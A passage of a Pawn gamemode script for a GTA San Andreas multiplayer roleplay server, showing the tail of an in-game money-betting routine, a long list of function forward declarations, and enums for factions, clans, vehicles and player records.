format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x4)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 9)// x5
{
new winprice = price*5;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x5)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 10)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
}
if(randomh == 5)
{
format(stringz, sizeof(stringz), "{ff0000}YOU LOSE ALL OF YOUR MONEY!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, -price);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {ff0000}LOSE!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Loss Money: {ff0000}-$%s",FormatNumber(price));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(randomh == 6)
{
format(stringz, sizeof(stringz), "{ff0000}YOU LOSE ALL OF YOUR MONEY!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, -price);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {ff0000}LOSE!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Loss Money: {ff0000}-$%s",FormatNumber(price));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(randomh == 7)
{
format(stringz, sizeof(stringz), "{ff0000}YOU LOSE ALL OF YOUR MONEY!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, -price);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {ff0000}LOSE!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Loss Money: {ff0000}-$%s",FormatNumber(price));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(randomh == 8)
{
format(stringz, sizeof(stringz), "{ff0000}YOU LOSE ALL OF YOUR MONEY!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, -price);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {ff0000}LOSE!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Loss Money: {ff0000}-$%s",FormatNumber(price));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(randomh == 9)
{
new secondrand = RandomShomare(1,10);
if(secondrand == 1)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 2)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 3)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 4)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 5)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 6)// x3
{
new winprice = price*3;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x3)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 7)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 8)// x4
{
new winprice = price*4;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x4)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 9)// x5
{
new winprice = price*5;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x5)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
if(secondrand == 10)// x2
{
new winprice = price*2;
format(stringz, sizeof(stringz), "{00ff00}YOU WON!\n\n{00ff00}* Entered price to bet: $%s",FormatNumber(poolebetshode[playerid]));
ShowPlayerDialog(playerid, 1068, DIALOG_STYLE_MSGBOX, "{FF0000}BET ON MONEY", stringz, "Done", "");
GivePlayerPool(playerid, winprice);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
SendClientMessage(playerid, COLOR_WHITE, "Bet Status: {00ff00}WIN!");
SendClientMessage(playerid, COLOR_WHITE, "Bet On: {00FF78}Money");
format(stringz, 144, "You Were Entered: {ff00ff}$%s",FormatNumber(poolebetshode[playerid]));
SendMessage(playerid, COLOR_WHITE, stringz);
format(stringz, 144, "Gained Money: {00ff00}$%s (Got x2)",FormatNumber(winprice));
SendMessage(playerid, COLOR_WHITE, stringz);
SendClientMessage(playerid, COLOR_GRAD2, "_______________[Bet Shop Receipt]_______________");
}
}
}
forward RandomShomare(min, max);
forward MoneyTimer();
forward CreateNPCLS();
forward CreateNPCLV();
forward CreateNPCSF();
forward SetZero(playerid);
forward CheckCounts(playerid);
forward RespawnNPCLS();
forward RespawnNPCLV();
forward RespawnNPCSF();
forward settime();
forward IsPGangCar(carid);
forward IsPGangCar2(carid);
forward IsPGangCar3(carid);
forward IsPGangCar4(carid);
forward IsPGangCar5(carid);
forward IsPGangCar6(carid);
forward IsPGangCar7(carid);
forward IsPGangCar8(carid);
forward IsPGangCar19(carid);
forward IsATCC(carid);
forward IsABike(carid);
forward IsAllCars(carid);
forward IsASRent(carid);
forward LoadHouses();
forward LoadFurs();
forward WriteAdminLog(string[]);
forward WriteTransferLog(string[]);
forward LoadCodes();
forward LoadDynamicFactions();
forward SaveDynamicFactions(factionid);
forward LoadDynamicClans();
forward SaveDynamicClans(cid);
forward LoadFriends();
forward SaveFriends(fid);
forward SendPremiumMessage(color, string[]);
forward SendRobMessage(color, string[]);
forward SendVipMessage(color, string[]);
forward LoadSprays();
forward SaveSprays(sid);
forward ReloadSprays();
forward LoadVehicles();
forward LoadBizz();
forward LoadSBizz();
forward LoadStuff();
forward SaveStuff();
forward GateTime();
forward GateTime1();
forward GateTime11();
forward GateTime111();
forward GarageLS();
forward sfpdgate1T();
forward sfpdgate2T();
forward areagate1();
forward areagate2();
forward areagate3();
forward GarageLV();
forward GarageLV1();
forward areagate();
forward TTgateT();
forward EVgateT();
forward JailXT();
forward LStoLV(playerid);
forward LStoSF(playerid);
forward LVtoLS(playerid);
forward LVtoSF(playerid);
forward SFtoLV(playerid);
forward SFtoLS(playerid);
forward TTgbalaT();
forward blT1();
forward blT2();
forward blT3();
forward blT4();
forward blT5();
forward bl2T1();
forward bl2T2();
forward bl2T3();
forward bl2T4();
forward bl2T5();
forward bl2T6();
forward bl2T7();
forward bl2T8();
forward bl2T9();
forward bl2T10();
forward obj5T();
forward LoadTurfs();
forward LoadMeetings();
forward SaveTurfs(turfid);
forward IsAtClothShop(playerid);
forward IsAtGasStation(playerid);
forward IsAtNaftKesh(playerid);
forward IsAtHotdogPlace(playerid);
forward IsRangerRespray(playerid);
forward IsAtATMSystem(playerid);
forward IsAtFishPlace(playerid);
forward IsAtBar(playerid);
forward IsAtEatPlace(playerid);
forward IsAtBankk(playerid);
forward DollahScoreUpdate();
forward SetPlayerSpawn(playerid);
forward PlayerToPoint(Float:radi, playerid, Float:x, Float:y, Float:z);
forward CrimInRange(Float:radi, playerid,copid);
forward SendTeamBeepMessage(team, color, const string[]);
forward ABroadCast(color, const string[], level);
forward HBroadCast(color, const string[], level);
forward AddLog(const player[], const taraf[], const harf[], const harf2[], no);
forward GetClosestPlayer(p1);
forward IsPlayerInTurf(playerid, turfid);
forward GetPlayerZone(playerid);
forward PrintBizInfo(playerid,targetid);
forward PrintSBizInfo(playerid,targetid);
forward SetPlayerUnjailKon();
forward OtherTimer();
forward CheckWeaponHack(playerid);
//new polbardar[MAX_PLAYERS];
forward IsATruck(carid);
forward IsABus(carid);
forward IsPizCar(carid);
forward IsATowcar(carid);
forward IsAnAmbulance(carid);
forward IsACopCar(carid);
forward IsACopCarV2(carid);
forward IsACopCarV3(carid);
forward IsACopCarV4(carid);
forward IsACopCarV5(carid);
forward IsAHackCar(carid);
forward IsAnOilCar(carid);
//forward IsASCar(carid);
forward IsAPlane(carid);
forward IsARC(carid);
forward IsABoat(carid);
forward IsAHarvest(carid);
forward IsACop(playerid);
forward IsAHacker(playerid);
forward IsANr(playerid);
forward IsAPDMember(playerid);
forward IsASFPDMember(playerid);
forward VehicleHasDriver(vehicleid);
forward IsAMember(playerid);
forward IsAMemberC(playerid);
forward IsAMemberCl(playerid);
forward IsAnInstructor(playerid);
forward IsAnTaxi(playerid);
forward Float:GetDistanceBetweenPlayers(p1,p2);
forward Float:GetPlayerDistanceFromGround(playerid);
forward SetPlayerCriminal(playerid,declare,reason[],WantedBealave);
forward SetPlayerFree(playerid,declare,reason[]);
forward SetPlayerWeapons(playerid);
forward ShowStats(playerid,targetid);
forward oncheckoffline(playerid,name[]);
forward onpinoffline(playerid,name[]);
forward onmoneyoffline(playerid,name[]);
forward onkeyoffline(playerid,name[]);
forward onhwidoffline(playerid,name[]);
forward oncheckactivity(playerid,name[]);
forward oncheckfactivity(playerid,name[]);
forward ShowCarInfo(playerid,targetid, MMID);
forward SetPlayerToTeamColor(playerid);
forward warnt(playerid);
forward OnPlayerLogin(playerid);
forward CheatWarn(playerid, code, Float:Dist, vehid, speed);
forward RemoveVehicleComponentEx(vehid, cid);
forward EngineBegir();
forward OnTrueTeleport(playerid);
forward OnReturnVehicle(playerid, i);
forward OnLoadWeb(playerid);
forward OnPlayerUpdate(playerid);
forward OnPlayerRegister(playerid);
forward BroadCast(color, const string[]);
forward OOCOff(color, const string[]);
forward OOCNews(color, const string[]);
forward OOCADLV(color,const string[]);
forward SendJobMessage(job, color, string[]);
forward SendClanMessage(clan, color, string[]);
forward SendTeamMessage(team, color, string[]);
forward SendRadioMessage(member, color, string[]);
forward SendAdminMessage(color, string[]);
forward SendEventMessage(color, string[]);
forward SendHackerMessage(color, string[]);
forward SendAAAMessage(color, string[]);
forward SendHAMessage(color, string[]);
forward SendAdminMMessage(color, string[]);
forward SendAdminMessage2(color, string[]);
forward SendAdminMessage3(color, string[]);
forward SendHelperMessage(color, string[]);
forward SendHAdminMessage(color, string[]);// warn bara adminaye +6 be joz hoster ha
forward SendHAdminMessage2(color, string[]);// warn baraye adminaye +6
//forward SendOwnerMessage(color, string[]);
forward SendLeaderMessage(color, string[]);
forward SendStaffMessage(color, string[]);
forward ProxDetector(Float:radi, playerid, string[],col1,col2,col3,col4,col5);
forward TESTING(playerid,msg[],color[],tYpe)
forward ProxDetectorS(Float:radi, playerid, targetid);
forward ClearMarriage(playerid);
forward CheckMultiAccount(playerid);// by Sina
forward Lotto(number);
forward CarTow(carid);
forward LockCar(carid);
forward UnLockCar(carid);
forward Fillup(i);
forward SyncTime();
forward GivePayDay();
forward SyncUp();
forward Votes();
forward SaveAccounts();
//forward PayDay();
//forward ini_GetKey( line[] );
//forward ini_GetValue( line[] );
forward PlayerPlayMusic(playerid);
forward StopMusic();
forward PlayerFixRadio(playerid);
forward PlayerFixRadio2();
forward BasketStart();
forward TimerBasket();
forward CustomPickups();
forward FixHour(hour);
forward IsPlayerInArea(playerid, Float:minx, Float:maxx, Float:miny, Float:maxy);
forward ResetPlayerKolang(plyid);
forward Float:GetDistance(playerid, Float:x, Float:y);
forward IsAtCnn(playerid);
forward busstop1(playerid);
forward busstop2(playerid);
forward busstop3(playerid);
forward busstop4(playerid);
forward busstop5(playerid);
forward busstop6(playerid);
forward busstop7(playerid);
forward busstop8(playerid);
forward busstop9(playerid);
forward busstop10(playerid);
forward busstop11(playerid);
forward busstop12(playerid);
forward busstop13(playerid);
forward busstop14(playerid);
forward busstop15(playerid);
forward busstop16(playerid);
forward busstop17(playerid);
forward busstop18(playerid);
forward busstop19(playerid);
forward busstop20(playerid);
//new ttss[MAX_PLAYERS];
new Surfing[MAX_PLAYERS];
new
	g_PlayerVehicle[MAX_PLAYERS],
	g_SeatID[MAX_PLAYERS]
;
/*
new B1X;
new B2X;
new B3X;
new B4X;
new B5X;
new B6X;
new B7X;
new B8X;
new B9X;
new B10X;
new B11X;
new B12X;
new C1X;
new C2X;
new C3X;
new C4X;
new C5X;
new C6X;
new C7X;
new C8X;
new C9X;
new C10X;
new C11X;
new C12X;
new C13X;
new C14X;
new C15X;
new C16X;
*/

/*new V15;
new V16;
new V17;
new V18;
new V19;
new V20;
new V21;*/
//new meshki;
/*
new V1X;
new V2X;
new V3X;
new V4X;
new V5X;
new V6X;
new V7X;
new V8X;
new V9X;
new V10X;
new V11X;
new V12X;
new V13X;
new V14X;
new V15X;
new V16X;
new V17X;
new V18X;
new V19X;
new V20X;
new V21X;*/
forward busstop21(playerid);
forward busstop22(playerid);
forward busstop23(playerid);
forward busstop24(playerid);
forward busstop25(playerid);
forward busstop26(playerid);
forward busstop27(playerid);
forward busstop28(playerid);
forward busstop29(playerid);
forward migamloginkon(playerid);
forward SPeedKm();
forward IsInFaction(plyid);
forward speedcheck(playerid,speed);
//forward radarchecker(playerid);
//forward UnRadarChecked(i);
forward set1(playerid,r);
forward IsPlayerInHQ(playerid);
forward SaveComponent(vehicleid,componentid);
//new PlayerText:CarTD[MAX_PLAYERS];
//new PlayerText:Textdraw85;
/*----------------------------------**ENUMS**---------------------------------*/
enum Factions
{
	fSQLid,
	fName[50],
	Float:ffX,
	Float:ffY,
	Float:ffZ,
	fMats,
	fDrugs,
	fBank,
	fTurf,
	fMinLevel,
    fApplication,
    fMaxMembers
};
enum Clans
{
	cSQLid,
	cName[32],
	cTag[5],
	cSlot,
	cSlots,
	cBB,
	cColor[10],
	cExpire,
	cCreate[24]
};
enum Friends
{
	fID,
	pName[40],
	pFriend[40],
	pOnline,
	pID
};
enum Sprays
{
	sID,
	sName[128],
	sTag[128],
	sClan,
	Float:sX,
	Float:sY,
	Float:sZ,
	Float:sRot,
	sObj,
	sColor[128],
	Float:tX,
	Float:tY,
	Float:ttX,
	Float:ttY,
	sTColor[128]
};
enum Vehicles
{
	vID,
	Float:cLocationx,
	Float:cLocationy,
	Float:cLocationz,
	Float:cAngle,
	cColor1,
	cColor2,
	cModel,
	cPrice,
	cPlate[128],
	cLock,
	cDestroyed,
	cFuel,
	Float:cHealth,
	cMod1,
	cMod3,
	cMod4,
	cMod5,
	cMod6,
	cMod7,
	cMod8,
	cMod9,
	cMod10,
	cMod11,
	cMod12,
	cMod13,
	cMod14,
	cMod15,
	cMod16,
	cMod17,
	cPaintJob,
	Float:cKilo,
	cPanel,
	cDoors,
	cLights,
	cTires,
	cFixed,
	cInsurance,
	Float:gLocationX,
	Float:gLocationY,
	Float:gLocationZ,
	gAngle,
	gParked,
	cNeon
};
enum miInfo
{
	mFaction,
	mYear,
	mMonth,
	mDay,
	mHour,
	mMinute,
	mSecond,
	mMeeting
};
enum pInfo
{
	pName[40],
	pKey[128],
	pLevel,
	pAdmin,
	pPremiumAccount,
	pConnectTime,
	pAFKtime,
	pReg,
	pRegistredDate[24],
	pLastLogin[64],
	pSex,
	pRented,
	pMuteTime,
	pExp,
	pCash,
	pAccount,
	pCrimes,
	pKills,
	pDeaths,
	pArrested,
	pWantedDeaths,
	pPhoneBook,
	pLottoNr,
	pFishes,
	pJob,
	Float:pPayCheck,
	pHeadValue,
	pJailTime,
	pMats,
	pDrugs,
	pLeader,
	pTow,
	pSTAFF,
	pMember,
	pPunish,
	pFwarn,
	pRank,
	cSkin,
	fSkin,
	pWalkieTalkie,
	pDetSkill,
	pLawSkill,
	pMechSkill,
	pJackSkill,
	pNewsSkill,
	pDrugsSkill,
	pMatsSkill,
	Float:pHealth,
	Float:pArmor,
	Float:pSPos_x,
	Float:pSPos_r,
	Float:pSPos_y,
	Float:pSPos_z,
	pVirtualWorld,
	pSHealth,
	pInt,

	pTeam,
	pPnumber,
	pPhousekey,
	pCar,
	pRob,
	pRobSkill,
	pPbiskey,
	pCarLic,
	pFlyLic,
	pBoatLic,
	pFishLic,
	pGunLic,
	pMatsLic,
	pCarLicS,
	pFlyLicS,
	pBoatLicS,
	pGunLicS,
	pMatsLicS,
	pCarTime,
	pPayDayHad,
	pTut,
	pWarns,
	pCanistra,
	pMarriedTo[128],
	pLighter,
	pCigarettes,
	pSpeaker,//save nemishavad
	pLanguage,
	pLawyerPoint,
	pApproval,
	pWanted,
	Float:cLocationx,
	Float:cLocationy,
	Float:cLocationz,
	Float:cAngle,
	cColor1,
	cColor2,
	cModel,
	cPrice,
	cPlate[128],
	cLock,
	cDestroyed,
	cFuel,
	Float:cHealth,
	cMod1,
	cMod3,
	cMod4,
	cMod5,
	cMod6,
	cMod7,
	cMod8,
	cMod9,
	cMod10,
	cMod11,
	cMod12,
	cMod13,
	cMod14,
	cMod15,
	cMod16,
	cMod17,
	cPaintJob,
	Float:cKilo,
	cPanel,
	cDoors,
	cLights,
	cTires,
	cFixed,
	pEmail[128],
	pBanned,
	pIp[100],
	pBannedBy[40],
	pBanTime[260],
	pBanReason[128],
	cInsurance,
	pID,
	pHelper,
	pGetHitTime,
	pCar_2,
	Float:cLocationx_2,
	Float:cLocationy_2,
	Float:cLocationz_2,
	Float:cAngle_2,
	cColor1_2,
	cColor2_2,
	cModel_2,
	cPrice_2,
	cPlate_2[128],
	cLock_2,
	cDestroyed_2,
	cFuel_2,
	Float:cHealth_2,
	cMod1_2,
	cMod3_2,
	cMod4_2,
	cMod5_2,
	cMod6_2,
	cMod7_2,
	cMod8_2,
	cMod9_2,
	cMod10_2,
	cMod11_2,
	cMod12_2,
	cMod13_2,
	cMod14_2,
	cMod15_2,
	cMod16_2,
	cMod17_2,
	cPaintJob_2,
	Float:cKilo_2,
	cPanel_2,
	cDoors_2,
	cLights_2,
	cTires_2,
	cFixed_2,
	cInsurance_2,
	pReferral,
	Float:gLocationX,
	Float:gLocationY,
	Float:gLocationZ,
	Float:gAngle,
	Float:gLocationX_2,
	Float:gLocationY_2,
	Float:gLocationZ_2,
	Float:gAngle_2,
	gParked,
	gParked_2,
	pBanDays,
	pClan,
	pcRank,
	pRep,
	pCwarn,
	pGold,
	pKillW,
	pDeathW,
	pKillA,
	pDeathA,
	pOnline,
	pPin1,
	pPin2,
	pPin3,
	pPin4,
	pPinned,
	pJailBy[128],
	pJailReason[128],
	pMuteBy[128],
	pMuteReason[128],
	pAdminJailed,
//	pText[512],
	cKhalafi,
	cKhalafi_2,
	pCar_3,
	Float:cLocationx_3,
	Float:cLocationy_3,
	Float:cLocationz_3,
	Float:cAngle_3,
	cColor1_3,
	cColor2_3,
	cModel_3,
	cPrice_3,
	cPlate_3[128],
